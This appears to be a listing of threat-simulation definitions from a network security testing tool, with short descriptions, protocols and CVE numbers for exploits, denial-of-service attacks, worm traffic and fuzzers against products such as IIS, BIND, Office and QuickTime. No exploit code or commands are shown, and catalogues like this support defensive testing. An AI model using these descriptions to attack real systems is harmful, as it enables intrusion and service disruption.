Detailed Description:	This threat bypasses the Oracle PLSQL gateway by prepending <<LABEL>> before the vulnerable URL. This allows a user to access any system tables in the database server. Oracle PLSQL is a web application, that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	wzdftpd_user_bof.xml
Executive Description:	wzdftpd USER Command Remote Denial of Service Vulnerability
Detailed Description:	This threat sends a maliciously crafted USER string to leverage a stack overflow vulnerability in Wzdftpd 0.8.2 that will lead to execution of code on the effected server. WarFTP is FTP server software that typically listens on tcp port 21.
Protocol Type:	FTP
CVEID:	CVE-2007-5300
Threat Package:	Standard
Threat File Name:	TSL20170112-14_ISC_BIND_Query_Response_Missing_RRSIG_Denial_of_Service.xml
Executive Description:	ISC BIND Query Response Missing RRSIG Denial of Service
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to a defect that can cause the named service to exit with an assertion failure while processing a crafted response query containing certain record types without an accompanying RRSIG. A remote, unauthenticated attacker could exploit this vulnerability by providing a specially crafted response to the vulnerable server. Successful exploitation could lead to denial-of-service condition.
Protocol Type:	DNS
CVEID:	CVE-2016-9444
Threat File Name:	barcodeax_activex_bof.xml
Executive Description:	BarCodeAx.dll v. 4.9 ActiveX Control Remote Stack Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the BarCodeAx ActiveX application, resulting in the execution arbitrary code. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120214-20_Microsoft_Office_Visio_Viewer_VSD_File_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Office Visio Viewer VSD File Type Confusion(IPV6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office Visio Viewer. The vulnerability is due to the way Visio Viewer performs validation on attributes when handling certain Visio files. A remote, unauthenticated attacker can exploit these vulnerabilities by enticing a user to open a malicious file with a vulnerable version of the application. This can lead to code execution in the context of the affected user.

Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2012-0019
Threat File Name:	fuzz-Ethernet_destMac.xml
Executive Description:	Fuzzer for Protocol:Ethernet and Field:destMac
Detailed Description:	
Protocol Type:	Ethernet
Threat Package:	Fuzzing
Threat File Name:	brighstor_sql_IPv6.xml
Executive Description:	CA Brighstor ARCserve Backup Agent for MS SQL Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the Computer Associates Backup Agent for Microsoft's SQL server. This is caused by sending a buffer of over 3168 bytes to port 6070. This threat attempts to run malicious shell code in the context of the backup utility. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-1272
OSVDB:	18501
Threat Package:	Standard
Threat File Name:	photokorn_a_rfi.xml
Executive Description:	Photokorn Cart.inc.php Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Photokorn is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120621-10_Cisco_AnyConnect_VPN_Client_Software_Downgrade.xml
Executive Description:	Cisco AnyConnect VPN Client Software Downgrade
Detailed Description:	A software downgrade flaw exists in Cisco AnyConnect VPN client. The vulnerability is due to the WebLaunch component failing to properly validate the version of the vpndownloader.exe program when the client is deployed from the VPN headend. By enticing a user to open a specially crafted web page, a remote attacker can exploit this vulnerability to install an older version of vpndownloader.exe which is vulnerable to previously patch issues. Successful exploitation can result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-CVE-2012-2494
OSVDB:	83159
Threat File Name:	FSC20100209-03_Microsoft_Office_MSO_Buffer_Overflow.xml
Executive Description:	Microsoft Office MSO Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in Microsoft Office. The vulnerability is due to an error in the MSO.dll library while processing malformed Office files. A remote attacker can leverage this vulnerability by enticing a target user to open a maliciously crafted Office file. A successful attack can result in the injection and execution of arbitrary code on a target system. The resulting code would execute within the security context of the logged in user. In an unsuccessful attack, the affected application may abnormally terminate.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0243
Threat Package:	Standard
Threat File Name:	me_downloadsystem_rfi.xml
Executive Description:	ME Download System Header.php Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. ME Download System is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20160209-25_Microsoft_Word_CVE-2016-0022_Memory_Corruption.xml
Executive Description:	Microsoft Word CVE-2016-0022 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Word. The application fails to properly handle certain objects in memory when parsing specially crafted files.A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted file. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTPS,HTTP,IMAP,SMB/CIFS,SMTP
CVEID:	CVE-2016-0022
Threat File Name:	TSL20161230-07_PHPMailer_mail_Sender_Command_Injection_IPv6.xml
Executive Description:	PHPMailer mail Sender Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in the PHPMailer library package. The vulnerability is due to a failure to properly validate the Sender parameter sent to the mail() function. A remote, unauthenticated attacker could exploit this vulnerability by supplying maliciously crafted data to the PHPMailer class to send email. Successful exploitation results in arbitrary command execution on the target server with the privileges of the web service.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2016-10033
Threat File Name:	etherealiSNS_IPv6.xml
Executive Description:	Ethereal iSNS Zero-Length Crash (IPv6 Version)
Detailed Description:	This threat sends a malformed packet that causes the protocol dissector of Ethereal to crash. This can be used by an attacker to prevent a network administrator from sniffing network traffic. (IPv6 Version)
Protocol Type:	iSNS/IPv6
CVEID:	CVE-2004-0633
OSVDB:	7536
Threat Package:	Standard
Threat File Name:	TSL20120301-06_Novell_GroupWise_Addressbook_Heap_Buffer_Overflow.xml
Executive Description:	Novell GroupWise Addressbook Heap Buffer Overflow

Detailed Description:	A heap buffer overflow vulnerability has been identified in Novell Groupware Client. An attacker can exploit this vulnerability by enticing a user to open a malformed Novell Address Book file (.nab) containing an overly long token. A successful attack would lead to injection and execution of arbitrary code in the security context of the target user. If the code execution attempt does not succeed, the application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB,GroupWise POA
CVEID:	CVE-2011-4189
OSVDB:	79720
Threat File Name:	FSC20080806-07_Apache_HTTP_Server_mod_proxy_ftp_Wildcard_Characters_Cross-Site_Scripting_IPv6.xml
Executive Description:	Apache HTTP Server mod_proxy_ftp Wildcard Characters Cross-Site Scripting (IPv6 Version)
Detailed Description:	There exist a cross-site scripting vulnerability in Apache mod_proxy_ftp module. The flaw is due to lack of sanitization of user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML code on target user's web browser, within the context of a trusted web site. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-2939
Threat Package:	Standard
Threat File Name:	TSL20110826-04_Apple_CUPS_gif_read_lzw_Heap_Buffer_Overflow.xml
Executive Description:	Apple CUPS gif_read_lzw Heap Buffer Overflow
Detailed Description:	A heap buffer overflow exists in Common Unix Printing System (CUPS). The vulnerability exists in the gif_read_lzw function when handling compressed GIF images. A remote attacker can exploit this vulnerability by sending a specially crafted GIF image to a vulnerable service. Authentication may be required, depending on server configuration. Successful exploitation could result in arbitrary code executions with the privileges of the affected service.
Protocol Type:	IPP,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-3170
Threat File Name:	TSL20111117-01_HP_Data_Protector_Multiple_Products_FinishedCopy_SQL_Injection_IPv6.xml
Executive Description:	HP Data Protector Multiple Products FinishedCopy SQL Injection(IPV6 VERSION)
Detailed Description:	An SQL injection vulnerability exists in HP Data Protector Notebook Extension and HP Data Protector for Personal Computers. The specific flaw is caused by insufficient validation of the <italic> field in a user supplied SOAP request to the DPNCEnternal web service. A remote unauthenticated attacker can leverage this vulnerability to execute arbitrary SQL queries on a target system within the security context of the affected service.
Protocol Type:	IPV6,HTTP
CVEID:	CVE-2011-3162
Threat File Name:	FSC20071204-02_Squid_Proxy_Cache_Update_Denial_of_Service.xml
Executive Description:	Squid Proxy Cache Update Denial of Service
Detailed Description:	There exists a denial of service vulnerability in Squid web proxy application. The flaw is due to incorrect bounds checking when processing crafted cache update reply messages. A remote unauthenticated attacker may trigger this vulnerability to terminate the affected service.
Protocol Type:	HTTP
CVEID:	CVE-2007-6239
Threat Package:	Standard
Threat File Name:	proxy_hunt1_IPv6.xml
Executive Description:	Proxy Connection (IPv6 Version)
Detailed Description:	This threat attempts to cause a HTTP server to connect via proxy to the Imperfect Networks website. Depending on the network configuration setup, this might allow an attacker to use the machine as an anonymous proxy. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	finder_dmg_corruption_IPv6.xml
Executive Description:	Apple Finder DMG Volume Name Memory Corruption (IPv6 Version)
Detailed Description:	This threat simulates a client making a HTTP GET request, and the server replying with a maliciously constructed Apple disk image (DMG) file. This file will trigger a vulnerability when Finder attempts to open it, which can cause a denial of service and possibly allow execution of arbitrary code. This is particularly bad when the Safari web browser is used, as Safari will attempt to open the DMG file automatically by default. The DMG file is transferred over HTTP, which usually runs over port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	witty.xml
Executive Description:	Witty Worm
Detailed Description:	This threat is a copy of the Witty worm, which infected hosts using BlackICE firewalls in 2004. It causes instability and sends out copies of itself at a rapid rate.
Protocol Type:	ICQ
CVEID:	CVE-2004-0362
OSVDB:	4355
Threat Package:	Standard
Threat File Name:	FSC20071017-05_Oracle_Database_Core_RDBMS_Component_Denial_of_Service.xml
Executive Description:	Oracle Database Core RDBMS Component Denial of Service
Detailed Description:	There exists a denial of service vulnerability in the Oracle Database Server. The vulnerability is due to an error in Core RDBMS Component when handling an invalid TNS data packet. Remote unauthenticated attackers could exploit this vulnerability by sending a specially crafted TNS packet. Successful exploitation of the vulnerability would cause complete CPU usage which results in a denial of service condition.
Protocol Type:	TCP
CVEID:	CVE-2007-5530
Threat Package:	Standard

Threat File Name:	TSL20131101-10_HP_LoadRunner_Virtual_User_Generator_EmulationAdmin_Two_Directory_Traversal_IPv6.xml
Executive Description:	HP LoadRunner Virtual User Generator EmulationAdmin Two Directory Traversal(IPv6 Version)
Detailed Description:	Two directory traversal vulnerabilities exist in HP LoadRunner Virtual User Generator. The vulnerabilities exist in the EmulationAdmin web service. The vulnerabilities are due to insufficient validation on the parameters of copyFileToServer and getFileContentAsLines methods. A remote unauthenticated attacker can exploit these vulnerabilities to create arbitrary files on the server or disclose sensitive information by reading arbitrary files on the server. Successful exploitation of one of these vulnerabilities could lead to arbitrary code execution on the target system.
Protocol Type:	SOAP/HTTP,IPv6
CVEID:	CVE-2013-4837
OSVDB:	99231
Threat File Name:	firefoxFavIconInjec2.xml
Executive Description:	Firefox Favicon 2 Code Execution
Detailed Description:	This threat causes Mozilla Firefox to execute code with the permissions of the user operating the browser. The code is executed due to a flaw in the displaying of a favicon in the URL bar. This typically lets the malicious webpage control the target computer. Mozilla Firefox is a web browser and typically connects to port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1155
OSVDB:	15686
Threat Package:	Standard
Threat File Name:	fastream_Traversal.xml
Executive Description:	Fastream Web Server Directory Traversal
Detailed Description:	This threat takes advantage of a directory traversal bug in Fastream's Netfile Web Server. This can allow a user to arbitrarily view, delete, and create files on the host computer. This can lead to remote system compromise if the webserver has full access rights to the host operating system.
Protocol Type:	HTTP
CVEID:	CVE-2004-0676
OSVDB:	15914
Threat Package:	Standard
Threat File Name:	ICMPPParameterBadPointer.xml
Executive Description:	ICMP Parameter Problem Pointer Out of Bounds Flood
Detailed Description:	This threat sends a ICMP parameter problem message with a bogus payload and a pointer that points beyond the end of the payload block. This can cause an out of bounds error on stack implementations that do not check if the pointer is greater than the message length.
Protocol Type:	ICMP
Threat Package:	Standard
Threat File Name:	ms_vstudio_activex_overwrite_IPv6.xml
Executive Description:	Microsoft Visual Studio 6.0 PDWizard (PDWizard.ocx <= 6.0.0.9782) Remote Arbitrary Command Execution (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft Visual Studio PDWizard ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3041
Threat Package:	Standard
Threat File Name:	mpc_mp4_bof.xml
Executive Description:	Media Player Classic 6.4.9 MP4 File Stack Overflow Vulnerability
Detailed Description:	This threat downloads a malformed mp4 file to Demonstrate a buffer overflow in Media Player Classic. This threat is delivered via web page listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	sipcontentlengthlarge_IPv6.xml
Executive Description:	SIPPING: Content Length Larger Than Message (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with the content length larger than the actual message. This is not valid and will cause different results based on the transport method used. Over UDP, this message should be rejected, but may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	lupper15.xml
Executive Description:	Lupper Worm 15
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	phpbluedragon_rfi.xml
Executive Description:	PhpDragonCMS remote file include
Detailed Description:	This threat sends a crafted url that exploits a failing in the Template.PHP function which allows a malicious user to include commands in the context of the vulnerable web server.PhpDragonCMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	omniweb_fmt_IPv6.xml
Executive Description:	OmniWeb Javascript alert() Format String Vulnerability (IPv6 Version)
Detailed Description:	This threat simulates a client requesting a web page, and the server replying with a maliciously constructed HTML document. This page will trigger a format string vulnerability in the Javascript alert() function, which can allow execution of arbitrary code. (IPv6 Version)

Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070425-14_Apple_QuickTime_MOV_File_JVTCompEncodeFrame_Heap_Overflow.xml
Executive Description:	Apple QuickTime MOV File JVTCompEncodeFrame Heap Overflow
Detailed Description:	There exists a heap-based buffer overflow vulnerability in Apple QuickTime. The flaw is due to insufficient bounds checking in the "JVTCompEncodeFrame()" function when processing malformed MOV files. Successful exploitation allows remote attackers to execute arbitrary code under the context of the currently logged-in user. Assurent has not been able to identify the affected MPEG-4 data object associated with this vulnerability within the 24-hour research period.
Protocol Type:	HTTP
CVEID:	CVE-2007-2295
Threat Package:	Standard
Threat File Name:	FSC20100330-06_Microsoft_Internet_Explorer_Uninitialized_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Object Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer web browser. The vulnerability is due to an error while accessing an object that has been already deleted or not initialized. This would result in accessing arbitrary memory content and can be exploited for code execution. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user. The behaviour of the target machine is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0490
Threat Package:	Standard
Threat File Name:	FSC20101109-03_Microsoft_PowerPoint_Legacy_File_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft PowerPoint Legacy File Parsing Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft PowerPoint. The flaw is due to a buffer overflow when parsing PowerPoint 95 files. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,FTP,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2572
Threat File Name:	bee-hive_rfi.xml
Executive Description:	Bee-hive Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url that exploits a failing in the "rootGui.inc.php" function which allows a malicious user to include commands in the context of the vulnerable web server. Bee-hive is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3266
Threat Package:	Standard
Threat File Name:	bind_bof.xml
Executive Description:	ISC Bind 8 Transaction Signatures Buffer Overflow Vulnerability
Detailed Description:	This threat exploits a flaw in the BIND TSIG handling code which allows a remote attacker to gain root privileges. BIND is a DNS server which listens on port 53.
Protocol Type:	DNS
CVEID:	CVE-2001-0010
OSVDB:	14795
Threat Package:	Standard
Threat File Name:	nmapNetmask.xml
Executive Description:	nmap ICMP Netmask Request Probe
Detailed Description:	This threat mimics the ICMP netmask request packet that nmap sends in an attempt to determine if a host is up or not for further portscanning.
Protocol Type:	ICMP
CVEID:	CVE-1999-0454
Threat Package:	Standard
Threat File Name:	sipxtapi_bof_IPv6.xml
Executive Description:	sipXtapi Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with a large value for the CSeq header. CSeq values of greater than 24 bytes can cause a buffer overflow and code execution in products that use the sipXtapi library, which is used in AOL Triton and PingTel. (IPv6 Version)
Protocol Type:	SIP/IPv6
CVEID:	CVE-2006-3524
OSVDB:	27122
Threat Package:	VoIP
Threat File Name:	TSL20120823-04_Oracle_Outside_In_XPM_Image_Processing_Stack_Buffer_Overflow_IPV6.xml
Executive Description:	Oracle Outside In XPM Image Processing Stack Buffer Overflow(IPV6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling XPM image files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed XPM file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
Threat File Name:	request_com1.xml
Executive Description:	HTTP Request for COM1
Detailed Description:	This threat makes a request for a reserved device represented by a filename (COM1). Causes some web servers on Windows to crash when attempting to read the file.
Protocol Type:	HTTP
CVEID:	CVE-2004-2316

Threat Package:	Standard
Threat File Name:	p990i_web_dos_IPv6.xml
Executive Description:	Symbian Mangleme Crash 0x5fb73273 (IPv6 Version)
Detailed Description:	This malformed page causes the Symbian browser to lock hard, making the phone/device unresponsive. The only way to return the phone back to a normal state is to remove the battery and place it back in. This threat can be delivered by any malicious page to a symbian based phone. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120214-20_Microsoft_Office_Visio_Viewer_VSD_File_Type_Confusion.xml
Executive Description:	Microsoft Office Visio Viewer VSD File Type Confusion
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office Visio Viewer. The vulnerability is due to the way Visio Viewer performs validation on attributes when handling certain Visio files. A remote, unauthenticated attacker can exploit these vulnerabilities by enticing a user to open a malicious file with a vulnerable version of the application. This can lead to code execution in the context of the affected user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2012-0019
Threat File Name:	TSL20130514-13_Microsoft__NET_Framework_XML_Digital_Signature_Spoofing.xml
Executive Description:	Microsoft .NET Framework XML Digital Signature Spoofing
Detailed Description:	A spoofing vulnerability has been reported in Microsoft .NET Framework. The vulnerability is due to Microsoft .NET Framework fails to properly validate the signature of a specially crafted XML file. An attacker can exploit this vulnerability to modify the content of an XML file without invalidating the signature associated with the file.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-1336
OSVDB:	93301
Threat File Name:	sipnulluri_IPv6.xml
Executive Description:	SIPPING: Escaped NULLs in URIs (IPv6 Version)
Detailed Description:	This threat sends out a SIP message with null characters escaped in URIs. This is valid but unexpected, so a SIP implantation may have problems parsing it. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20080108-08_Microsoft_Windows_Kernel_ICMP_Fragmented_Packet_Processing_Denial_of_Service.xml
Executive Description:	Microsoft Windows Kernel ICMP Fragmented Packet Processing Denial of Service
Detailed Description:	There exists a denial of service vulnerability in the way Microsoft Windows Kernel processes ICMP requests. The vulnerability is due to insufficient boundary checking when processing fragmented router advertisement ICMP requests. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted ICMP messages to an affected system. Successful exploitation may cause the system to stop responding.
Protocol Type:	ICMP
CVEID:	CVE-2007-0066
Threat Package:	Standard
Threat File Name:	sap_waecho.xml
Executive Description:	SAP WebAgent Buffer Overflow
Detailed Description:	This threat sends a HTTP GET request that causes the waecho URL in SAP WebAgent to crash.
Protocol Type:	HTTP
CVEID:	CVE-2003-0944
OSVDB:	3084
Threat Package:	Standard
Threat File Name:	TSL20150708-02_ISC_BIND_DNSSEC_Validation_Denial_of_Service_IPv6.xml
Executive Description:	ISC BIND DNSSEC Validation Denial of Service IPv6 version.
Detailed Description:	A denial of service vulnerability exists in ISC BIND. The vulnerability is due to an error during DNSSEC validation. A remote attacker can exploit this vulnerability by sending crafted queries under certain circumstances. Successful exploitation will result in a denial of service condition. Tester should set the variable \$destPort to 53 before test.
Protocol Type:	DNS.IPV6
CVEID:	CVE-2015-4620
Threat File Name:	minibb_rfi.xml
Executive Description:	MiniBB Multiple Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted HTTP query containing the path for a remote malicious PHP file to include in the returned page and executed in the context of the webserver process .MiniBB is an web application that typically listens on port 80
Protocol Type:	HTTP
CVEID:	CVE-2006-3690
Threat Package:	Standard
Threat File Name:	TSL20170330-11_Trend_Micro_IWSVA_DeploymentWizardAction_GetClusterInfo_Command_Injection.xml
Executive Description:	Trend Micro IWSVA DeploymentWizardAction GetClusterInfo Command Injection
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to improper validation of the HTTP request parameters in the GetClusterInfo method of the DeploymentWizardAction class. A remote, authenticated attacker can exploit this vulnerability by sending a maliciously crafted request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of the root.
Protocol Type:	HTTP,HTTPS
Threat File Name:	ms03-022.xml
Executive Description:	NSIISLOG.DLL Buffer Overflow

Detailed Description:	This threat causes a buffer overflow the nsislog.dll web DLL of IIS. It allows a remote attacks to run arbitrary code on the server. nsislog.dll is a component of Microsoft's IIS, which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2003-0349
OSVDB:	4535
Threat Package:	Standard
Threat File Name:	TSL20121009-10_Microsoft_Works_Word_Document_Processing_Use_After_Free.xml
Executive Description:	Microsoft Works Word Document Processing Use After Free
Detailed Description:	A vulnerability has been reported in Microsoft Works that could allow remote attackers to execute arbitrary code on the vulnerable system. The vulnerability is due to an error while parsing Word files which can lead to heap corruption. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted Word file in a vulnerable application. Successful exploitation would result in execution of arbitrary code with the privileges of the logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-2550
OSVDB:	86056
Threat File Name:	FSC20071211-14_Microsoft_Internet_Explorer_Clone_Object_Reference_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Clone Object Reference Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles unexpected method calls to HTML objects. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3903
Threat Package:	Standard
Threat File Name:	TSL20150909-12_Advantech_WebAccess_AspVCObj_AspDataDriven_ActiveX_GetRecipeInfo_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Advantech WebAccess AspVCObj.AspDataDriven ActiveX GetRecipeInfo Stack Buffer Overflow IPv6 version.
Detailed Description:	A stack buffer overflow vulnerability exists in Advantech's WebAccess SCADA software. The vulnerability is due to insufficient input validation of an argument of GetRecipeInfo() in the AspVCObj.AspDataDriven ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation can lead to code execution in the context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-9208
Threat File Name:	osx_mailapp_bof.xml
Executive Description:	Apple Mac OS X Mail Message Attachment Remote Buffer Overflow Vulnerability
Detailed Description:	This threat delivers an email which triggers a buffer overflow vulnerability in the Mail.app software package. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
CVEID:	CVE-2006-0396
OSVDB:	23872
Threat Package:	Standard
Threat File Name:	FSC20080408-12_Microsoft_Windows_GDI_Metatile_Image_Handling_Heap_Overflow_IPv6.xml
Executive Description:	Microsoft Windows GDI Metatile Image Handling Heap Overflow (IPv6 Version)
Detailed Description:	There exists a heap buffer overflow vulnerability in Microsoft Graphics Device Interface (GDI) library. The flaw is due to a calculation error while handling EMF or WMF image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted EMF or WMF image file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1083
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RRQ_OCTET_formats_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_OCTET_formats.xml (IPv6 Version)
Detailed Description:	Fuzzes Mode field by appending %s to octet with ranging sizes. OpCode is RRQ. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20080811-05_Apache_Tomcat_allowLinking_URIencoding_Directory_Traversal_Vulnerability.xml
Executive Description:	Apache Tomcat allowLinking URIencoding Directory Traversal Vulnerability
Detailed Description:	There exists a directory traversal vulnerability in the Apache Tomcat. The vulnerability is due to an input validation error in Tomcat that does not properly sanitize the URI for directory traversal patterns. Successful exploitation allows unauthenticated remote attackers to disclose or access arbitrary files on the vulnerable server.
Protocol Type:	HTTP-ALT
CVEID:	CVE-2008-2938
Threat Package:	Standard
Threat File Name:	phpunity_rfi_IPv6.xml
Executive Description:	phpunity.postcard (phpunity-postcard.php) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. phpUnity is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120719-03_Apple_QuickTime_Plugin_SetLanguage_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime Plugin SetLanguage Buffer Overflow(IPv6)

Detailed Description:	A stack buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to insufficient bounds checking when parsing parameters to the <code>IQTPluginControl::SetLanguage</code> COM method inside the QuickTime plugin. This vulnerability can be exploited by a remote attacker by enticing the target user to open a specially crafted HTML page containing an embedded video with the affected application. Successful exploitation could result in arbitrary code injection and execution in the context of the currently logged-in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-0666
OSVDB:	81937
Threat File Name:	x86NOOPudp4_IPv6.xml
Executive Description:	UDP x86 NOOP Variant 4 (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	awstats_cmi.xml
Executive Description:	AWStats Referrer Arbitrary Command Execution Vulnerability
Detailed Description:	This threat sends a crafted post command with a modified referrer field, this field is used directly and can be executed directly by the script. AWStats is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1527
Threat File Name:	cisco_cbos.xml
Executive Description:	Cisco Web Admin Denial of Service
Detailed Description:	This threat causes a crash on certain Cisco equipment when sent to the Web Administration page.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20110614-37_Microsoft_Internet_Explorer_VML_vgx_dll_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer VML vgx.dll Use After Free(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in the Microsoft Vector Markup Language dynamic link library vgx.dll. The vulnerability is due to improper handling of VML objects in HTML documents. Remote attackers can exploit this vulnerability by enticing target users to open a malicious web page using Internet Explorer, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, Internet Explorer may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-1266
Threat File Name:	x86NOOPudpUNICODE_IPv6.xml
Executive Description:	UDP x86 NOOP Variant UNICODE (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	shttpd_bof_IPv6.xml
Executive Description:	SHTTPD Remote Buffer Overflow Vulnerability (IPv6 Version)
